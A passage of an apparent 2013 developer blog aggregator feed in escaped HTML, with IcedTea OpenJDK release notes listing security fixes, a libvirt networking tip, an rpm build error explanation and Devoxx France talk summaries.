&lt;/li&gt;
&lt;li&gt;Backports
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7130662&quot;&gt;S7130662&lt;/a&gt;, &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=928500&quot;&gt;RH928500&lt;/a&gt;: GTK file dialog crashes with a NPE&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Bug fixes
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1363&quot;&gt;PR1363&lt;/a&gt;: Fedora 19 / rawhide FTBFS SIGILL&lt;/li&gt;
&lt;li&gt;Fix offset problem in ICU LETableReference.&lt;/li&gt;
&lt;li&gt;Don’t create debuginfo files if not stripping.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tarball can be downloaded from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-2.1.8.tar.gz&quot;&gt;http://icedtea.classpath.org/download/source/icedtea-2.1.8.tar.gz&lt;/a&gt; (&lt;a href=&quot;http://icedtea.classpath.org/download/source/icedtea-2.1.8.tar.gz.sig&quot;&gt;sig&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SHA256 checksum:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ea68180fe8b40732ccea41cdd6c628de4f660b20fccb4cd87ab35f0727c08b11  icedtea-2.1.8.tar.gz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tarball is accompanied by a digital signature available at the above ‘sig’ link.  This is produced using my public key.  See details below.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PGP Key: 248BDC07 (&lt;a href=&quot;https://keys.indymedia.org/&quot;&gt;https://keys.indymedia.org/&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The following people helped with these releases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://fuseyism.com&quot;&gt;Andrew Hughes&lt;/a&gt; (application of security fixes &amp;amp; backports, release management)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://kennke.org/blog&quot;&gt;Roman Kennke&lt;/a&gt; (offset fix)&lt;/li&gt;
&lt;li&gt;Chris Phillips (&lt;a href=&quot;http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1363&quot;&gt;PR1363&lt;/a&gt; patch for ARM issue)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We would also like to thank the bug reporters and testers!&lt;/p&gt;
&lt;p&gt;To get started:&lt;/p&gt;
&lt;pre&gt;$ tar xzf icedtea-2.1.8.tar.gz
$ cd icedtea-2.1.8
&lt;/pre&gt;
&lt;p&gt;Full build requirements and instructions are in INSTALL:&lt;/p&gt;
&lt;pre&gt;$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-2.1.8/configure [--enable-zero --enable-pulse-java
--enable-systemtap ...]
$ make
&lt;/pre&gt;
&lt;h3&gt;Happy hacking!&lt;/h3&gt;</description>
	<pubDate>Fri, 10 May 2013 20:13:49 +0000</pubDate>
</item>
<item>
	<title>Gary Benson: VM networking tip</title>
	<guid>http://gbenson.net/?p=379</guid>
	<link>http://gbenson.net/?p=379</link>
	<description>&lt;p&gt;If you are setting up VMs using &lt;a href=&quot;http://libvirt.org/&quot;&gt;libvirt&lt;/a&gt; then it’s a good idea to change the address of the virtual network to something other than the default.  Why?  Because if you don’t, and you create a guest which itself starts up libvirt &lt;em&gt;and&lt;/em&gt; uses &lt;a href=&quot;http://projects.gnome.org/NetworkManager/&quot;&gt;NetworkManager&lt;/a&gt; then at least some of the time your VM will start up with its networking hosed.&lt;/p&gt;
&lt;p&gt;If the host is using the default network (192.168.122.0/24) and the guests also want to use that network then there is a race between NetworkManager bringing up eth0 and libvirt bringing up virbr0.  libvirt checks for existing interfaces using the network it is configured for before starting up virbr0, so if NetworkManager brings up eth0 first then virbr0 will not be set up on the guest and everything will be fine.  But, if eth0 is not set up by the time libvirt runs the check, then virbr0 will take 192.168.122.0/24, then eth0 will come up on 192.168.122.something, and you’ll have a VM with two separate interfaces connected to two separate networks that both have the same address range… and it won’t work!&lt;/p&gt;
&lt;p&gt;The easy way to solve this is to not install libvirt on the guest, but you may not be able to change this until after the guest is running, and if libvirt starts up during a guest’s installer then you may need to complete parts of the installation with no networking.  This may or may not be ok for you and your OS.  I’m using VMs to set up clean test environments for GDB, and at the moment I’m setting up three or four new “machines” every day (and throwing them away when I’m done) so I want the process as streamlined as possible.  If you only occasionally set up new VMs then some extra tasks during the installation may not be a problem, but it is pretty simple to change the network on the host and you only have to do it once:
&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;As root, run &lt;code&gt;virsh net-edit default&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Change every occurence of &lt;code&gt;192.168.122&lt;/code&gt; to something else&lt;/li&gt;
&lt;li&gt;Stop any running guests&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;virsh net-destroy default&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;virsh net-start default&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s a shame this can’t be fixed more conclusively elsewhere, but NetworkManager brings up the interfaces asynchronously at boot time which makes it impossible to definitively schedule libvirt’s startup to happen after NetworkManager.&lt;/p&gt;
&lt;p&gt;Thank you &lt;a href=&quot;http://fedoraproject.org/wiki/User:Laine&quot;&gt;Laine Stump&lt;/a&gt; for helping me out with this.&lt;/p&gt;</description>
	<pubDate>Fri, 10 May 2013 09:37:06 +0000</pubDate>
</item>
<item>
	<title>Gary Benson: Only dest dir longer than base dir not supported</title>
	<guid>http://gbenson.net/?p=367</guid>
	<link>http://gbenson.net/?p=367</link>
	<description>&lt;p&gt;Hello,&lt;/p&gt;
&lt;p&gt;Have you experienced the mysterious error, “Only dest dir longer than base dir not supported”?&lt;/p&gt;
&lt;p&gt;I have.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you build an rpm, the code is built in &lt;code&gt;%{_builddir}&lt;/code&gt;, which usually evaluates as &lt;code&gt;%{_topdir}/BUILD&lt;/code&gt;, which in turn evaluates as something like &lt;code&gt;/home/you/rpmbuild/BUILD&lt;/code&gt;.  The built code (if built with GCC) ends up with loads of &lt;code&gt;/home/you/rpmbuild/BUILD&lt;/code&gt; paths embedded in it, and the script &lt;code&gt;/usr/lib/rpm/debugedit&lt;/code&gt; rewrites these paths to &lt;code&gt;/usr/src/debug&lt;/code&gt; so that the debuginfo rpms work. &lt;code&gt;/usr/lib/rpm/debugedit&lt;/code&gt; cannot extend strings, it can only shrink them.  If you are seeing “Only dest dir longer than base dir not supported” then, somewhere in your build system, &lt;code&gt;%{_builddir}&lt;/code&gt; is defined as something that expands to a string shorter than &lt;code&gt;/usr/src/debug&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In my case, I was building a glibc rpm in a VM that turned out not to have enough disk.  I created a new disk, mounted it on &lt;code&gt;/mnt&lt;/code&gt;, and added the line &lt;code&gt;%_topdir /mnt&lt;/code&gt; to my &lt;code&gt;~/.rpmmacros&lt;/code&gt;.  The result?  “Only dest dir longer than base dir not supported”.  I fixed it by editing &lt;code&gt;~/.rpmmacros&lt;/code&gt; to say &lt;code&gt;%_topdir /mnt/rpmbuild&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Briefly&lt;/strong&gt;
&lt;/p&gt;&lt;pre style=&quot;margin: 0;&quot;&gt;/usr/src/debug       # the reference
/mnt/BUILD           # too short!
/mnt/rpmbuild/BUILD  # long enough&lt;/pre&gt;
&lt;p&gt;Thank you,&lt;br /&gt;
The Mgt.&lt;/p&gt;</description>
	<pubDate>Thu, 09 May 2013 11:14:42 +0000</pubDate>
</item>
<item>
	<title>Fabien Duminy: Devoxx France 2013 – Architecting for Continuous Delivery</title>
	<guid>http://www.duminy.fr/blog/?p=2027</guid>
	<link>http://www.duminy.fr/blog/?p=2027&amp;lang=en&amp;utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=devoxx-france-2013-architecting-for-continuous-delivery</link>
	<description>&lt;p&gt;At &lt;a href=&quot;http://www.devoxx.com/display/FR13/Accueil&quot; target=&quot;_blank&quot;&gt;Devoxx France 2013&lt;/a&gt;, I attended to conference titled « &lt;a href=&quot;http://www.devoxx.com/display/FR13/Architecting+for+Continuous+Delivery&quot; target=&quot;_blank&quot;&gt;Architecting for Continuous Delivery&lt;/a&gt; » presented by &lt;a href=&quot;http://www.devoxx.com/display/FR13/Axel+Fontaine&quot; target=&quot;_blank&quot;&gt;Axel Fontaine&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Facebook, Flickr and Stack Overflow are going in production many times per day and thus they do continuous delivery. Note : we can see that Stack Overflow’s version number is in the footer of pages.&lt;/p&gt;
&lt;p&gt;Continuous delivery can’t be done from a snapshot version in order to allow reproducibility. So, the cycle is : run the tests, release a new version and deploy into the continuous delivery environment.&lt;br /&gt;
When the deployment is done manually, it must be automated. The deployed version must contain application binaries, differences between databases, as well as configuration for all environments (integration, acceptance test, production …). Environment detection must be automatic, by using an environment variable, a file located at a given place …&lt;/p&gt;
&lt;h3&gt;Management of database modifications&lt;/h3&gt;
&lt;p&gt;Axel advices to choose a tool managing database versions and execution order of scripts :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://flywaydb.org/&quot; target=&quot;_blank&quot;&gt;Flyway&lt;/a&gt; is a free software for migration of databases. It records history of each played script. One can start from an existing database to generate the first version of scripts.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.liquibase.org/&quot; target=&quot;_blank&quot;&gt;Liquibase&lt;/a&gt; is another free software with similar features.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Management of features&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Feature_toggle&quot; target=&quot;_blank&quot;&gt;Feature toggle&lt;/a&gt; allows to avoid creation of branches (and therefore merge of branches and duplication of continuous integration environments). It offen means adding a ‘if’ in the source code, which avoids breaking existing code. Old code will be removed later when everything will be ok in production.&lt;/p&gt;
&lt;h3&gt;Management of servers&lt;/h3&gt;
&lt;p&gt;In order to survive an eventual server crash and maintain a web site always on, 2 computers must be used. &lt;/p&gt;
&lt;p&gt;While deploying in production, one computer is used for deployment of the new version, connected to the same database. Compatibility of the old server with the database must be ensured : instead of renaming a column, another one must be added together with a trigger copying the old column to the new one. The old column and the trigger will be dropped later. For a web application running under &lt;a href=&quot;http://tomcat.apache.org/&quot; target=&quot;_blank&quot;&gt;tomcat&lt;/a&gt;, usage of a shared session cache like &lt;a href=&quot;http://code.google.com/p/memcached-session-manager/&quot; target=&quot;_blank&quot;&gt;memcached-session-manager&lt;/a&gt; allows to preserve active sessions. Each computer host a tomcat instance and a memcached instance. The switch to the new version is done totally transparently for users.&lt;/p&gt;
&lt;div class=&quot;bookmarkify&quot;&gt;&lt;a name=&quot;bookmarkify&quot;&gt;&lt;/a&gt;&lt;div class=&quot;title&quot; title=&quot;Use these links to share this page with others&quot;&gt;Bookmark and Share&lt;/div&gt;&lt;div class=&quot;linkbuttons&quot;&gt;&lt;a href=&quot;http://del.icio.us/post?url=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Save to del.icio.us&quot;&gt;&lt;img alt=&quot;[del.icio.us] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/delicious.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://digg.com/submit?phase=2&amp;amp;url=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Digg It!&quot;&gt;&lt;img alt=&quot;[Digg] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/digg.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.google.com/bookmarks/mark?op=edit&amp;amp;output=popup&amp;amp;bkmk=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Save to Google Bookmarks&quot;&gt;&lt;img alt=&quot;[Google] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/google.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.linkedin.com/shareArticle?mini=true&amp;amp;url=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Share on LinkedIn&quot;&gt;&lt;img alt=&quot;[LinkedIn] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/linkedin.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.stumbleupon.com/submit?url=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Stumble It!&quot;&gt;&lt;img alt=&quot;[StumbleUpon] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/stumbleupon.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://favorites.live.com/quickadd.aspx?mkt=en-us&amp;amp;url=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Save to Windows Live&quot;&gt;&lt;img alt=&quot;[Windows Live] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/windowslive.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://bookmarks.yahoo.com/toolbar/savebm?opener=tb&amp;amp;u=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;t=Devoxx France 2013 – Architecting for Continuous Delivery&quot; rel=&quot;nofollow&quot; title=&quot;Save to Yahoo! Bookmarks&quot;&gt;&lt;img alt=&quot;[Yahoo!] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/yahoo.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.feedburner.com/fb/a/emailFlare?itemTitle=Devoxx France 2013 – Architecting for Continuous Delivery&amp;amp;uri=http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en&amp;amp;loc=en_US&quot; rel=&quot;nofollow&quot; title=&quot;Email this to a friend&quot;&gt;&lt;img alt=&quot;[Email] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/email.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt;  &lt;a href=&quot;http://www.duminy.fr/blog/?p=2027&amp;amp;lang=en#bookmarkify&quot; rel=&quot;nofollow&quot; title=&quot;See more bookmark and sharing options...&quot;&gt;&lt;small&gt;More »&lt;/small&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;brand&quot;&gt;&lt;small&gt;&lt;a href=&quot;http://www.bookmarkify.com/&quot;&gt;Powered by Bookmarkify™&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;&lt;/div&gt;</description>
	<pubDate>Tue, 07 May 2013 07:00:29 +0000</pubDate>
</item>
<item>
	<title>Fabien Duminy: Devoxx France 2013 – Demining an application with JRockit Mission Control</title>
	<guid>http://www.duminy.fr/blog/?p=2062</guid>
	<link>http://www.duminy.fr/blog/?p=2062&amp;lang=en&amp;utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=devoxx-france-2013-dminage-dune-application-avec-jrockit-mission-control</link>
	<description>&lt;p&gt;
At &lt;a href=&quot;http://www.devoxx.com/display/FR13/Accueil&quot; target=&quot;_blank&quot;&gt;Devoxx France 2013&lt;/a&gt;, I attended to conference titled « &lt;a href=&quot;http://www.devoxx.com/display/FR13/Deminage+d%27une+application+avec+JRockit+Mission+Control&quot; target=&quot;_blank&quot;&gt;Demining an application with JRockit Mission Control&lt;/a&gt; » presented by &lt;a href=&quot;http://www.devoxx.com/display/FR13/Francois+Ostyn&quot; target=&quot;_blank&quot;&gt;François Ostyn&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://www.oracle.com/technetwork/middleware/jrockit/overview/index-090630.html&quot; target=&quot;_blank&quot;&gt;JRockit Mission Control&lt;/a&gt; is a tool for the &lt;a href=&quot;http://www.oracle.com/technetwork/middleware/jrockit/overview/index.html&quot; target=&quot;_blank&quot;&gt;JRockit&lt;/a&gt; JVM providing :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a JMX console&lt;/li&gt;
&lt;li&gt;a recorder of events happening in the JVM : Flight recorder&lt;/li&gt;
&lt;li&gt;a memory analyser to help find memory leaks : Memleak analyser&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
In order to maintain a single JVM, Oracle has created the HotRockit project to merge JRockit et Hotspot. Its results will be progressively integrated into Hotspot.
&lt;/p&gt;
&lt;p&gt;
Since &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/7u4-relnotes-1575007.html&quot; target=&quot;_blank&quot;&gt;Java SE 7 update 4&lt;/a&gt;, Hotspot has same metrics as JRockit, which allows to use JRockit Mission Control with Hotspot. This one can be used 2 ways : with an eclipse plugin or with a command line.
&lt;/p&gt;
&lt;p&gt;
Thanks to the eclipse plugin, Memleak analyser detects when the number of class instances is increasing and can visualize the call stack. After a run, Flight recorder can get event list in order to display heap and processor usage …  In disconnected mode, it can also display memory leaks but not the graph of calls (visible only in connected mode).
&lt;/p&gt;
&lt;p&gt;
The jcmd command (called jrcmd in JRockit) allows to run same queries as eclipse plugin. It can generate a .jfr file displayable with the eclipse plugin.
&lt;/p&gt;
&lt;p&gt;
To finish, you must note that JRockit Mission Control is free for development but not for production and, according to François, it’s faster than profiling tools like Yourkit because metrics are implemented natively in the JVM.&lt;/p&gt;
&lt;div class=&quot;bookmarkify&quot;&gt;&lt;a name=&quot;bookmarkify&quot;&gt;&lt;/a&gt;&lt;div class=&quot;title&quot; title=&quot;Use these links to share this page with others&quot;&gt;Bookmark and Share&lt;/div&gt;&lt;div class=&quot;linkbuttons&quot;&gt;&lt;a href=&quot;http://del.icio.us/post?url=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Save to del.icio.us&quot;&gt;&lt;img alt=&quot;[del.icio.us] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/delicious.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://digg.com/submit?phase=2&amp;amp;url=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Digg It!&quot;&gt;&lt;img alt=&quot;[Digg] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/digg.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.google.com/bookmarks/mark?op=edit&amp;amp;output=popup&amp;amp;bkmk=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Save to Google Bookmarks&quot;&gt;&lt;img alt=&quot;[Google] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/google.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.linkedin.com/shareArticle?mini=true&amp;amp;url=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Share on LinkedIn&quot;&gt;&lt;img alt=&quot;[LinkedIn] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/linkedin.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.stumbleupon.com/submit?url=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Stumble It!&quot;&gt;&lt;img alt=&quot;[StumbleUpon] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/stumbleupon.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;https://favorites.live.com/quickadd.aspx?mkt=en-us&amp;amp;url=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;title=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Save to Windows Live&quot;&gt;&lt;img alt=&quot;[Windows Live] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/windowslive.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://bookmarks.yahoo.com/toolbar/savebm?opener=tb&amp;amp;u=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;t=Devoxx France 2013 – Demining an application with JRockit Mission Control&quot; rel=&quot;nofollow&quot; title=&quot;Save to Yahoo! Bookmarks&quot;&gt;&lt;img alt=&quot;[Yahoo!] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/yahoo.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://www.feedburner.com/fb/a/emailFlare?itemTitle=Devoxx France 2013 – Demining an application with JRockit Mission Control&amp;amp;uri=http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en&amp;amp;loc=en_US&quot; rel=&quot;nofollow&quot; title=&quot;Email this to a friend&quot;&gt;&lt;img alt=&quot;[Email] &quot; src=&quot;http://www.duminy.fr/blog/wp-content/plugins/bookmarkify/email.png&quot; style=&quot;width: 16px; height: 16px;&quot; /&gt;&lt;/a&gt;  &lt;a href=&quot;http://www.duminy.fr/blog/?p=2062&amp;amp;lang=en#bookmarkify&quot; rel=&quot;nofollow&quot; title=&quot;See more bookmark and sharing options...&quot;&gt;&lt;small&gt;More »&lt;/small&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;brand&quot;&gt;&lt;small&gt;&lt;a href=&quot;http://www.bookmarkify.com/&quot;&gt;Powered by Bookmarkify™&lt;/a&gt;&lt;/small&gt;&lt;/div&gt;&lt;/div&gt;</description>
	<pubDate>Thu, 02 May 2013 07:00:35 +0000</pubDate>
</item>
<item>
	<title>Andrew Hughes: [SECURITY] IcedTea 2.2.8 for OpenJDK 7 Released!</title>
	<guid>http://blog.fuseyism.com/?p=546</guid>
	<link>http://blog.fuseyism.com/index.php/2013/05/01/security-icedtea-2-2-8-for-openjdk-7-released/</link>
	<description>&lt;p&gt;The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a &lt;a href=&quot;http://en.wikipedia.org/wiki/PulseAudio&quot;&gt;PulseAudio&lt;/a&gt; sound driver and support for alternative virtual machines.&lt;/p&gt;
&lt;p&gt;This release updates our OpenJDK 7 support to include the latest security updates. We recommend that users of the 2.2.x branch upgrade to this latest release as soon as possible. The security fixes are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6657673&quot;&gt;S6657673&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1518&quot;&gt;CVE-2013-1518&lt;/a&gt;: Issues with JAXP&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7200507&quot;&gt;S7200507&lt;/a&gt;: Refactor Introspector internals&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8000724&quot;&gt;S8000724&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2417&quot;&gt;CVE-2013-2417&lt;/a&gt;: Improve networking serialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001031&quot;&gt;S8001031&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2419&quot;&gt;CVE-2013-2419&lt;/a&gt;: Better font processing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001040&quot;&gt;S8001040&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1537&quot;&gt;CVE-2013-1537&lt;/a&gt;: Rework RMI model&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001322&quot;&gt;S8001322&lt;/a&gt;: Refactor deserialization&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8001329&quot;&gt;S8001329&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1557&quot;&gt;CVE-2013-1557&lt;/a&gt;: Augment RMI logging&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003335&quot;&gt;S8003335&lt;/a&gt;: Better handling of Finalizer thread&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003445&quot;&gt;S8003445&lt;/a&gt;: Adjust JAX-WS to focus on API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8003543&quot;&gt;S8003543&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2415&quot;&gt;CVE-2013-2415&lt;/a&gt;: Improve processing of MTOM attachments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004261&quot;&gt;S8004261&lt;/a&gt;: Improve input validation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004336&quot;&gt;S8004336&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2431&quot;&gt;CVE-2013-2431&lt;/a&gt;: Better handling of method handle intrinsic frames&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004986&quot;&gt;S8004986&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2383&quot;&gt;CVE-2013-2383&lt;/a&gt;: Better handling of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004987&quot;&gt;S8004987&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2384&quot;&gt;CVE-2013-2384&lt;/a&gt;: Improve font layout&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8004994&quot;&gt;S8004994&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1569&quot;&gt;CVE-2013-1569&lt;/a&gt;: Improve checking of glyph table&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005432&quot;&gt;S8005432&lt;/a&gt;: Update access to JAX-WS&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8005943&quot;&gt;S8005943&lt;/a&gt;: (process) Improved Runtime.exec&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006309&quot;&gt;S8006309&lt;/a&gt;: More reliable control panel operation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=8006435&quot;&gt;S8006435&lt;/a&gt;, &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2424&quot;&gt;CVE-2013-2424&lt;/a&gt;: Improvements in JMX&lt;/li&gt;
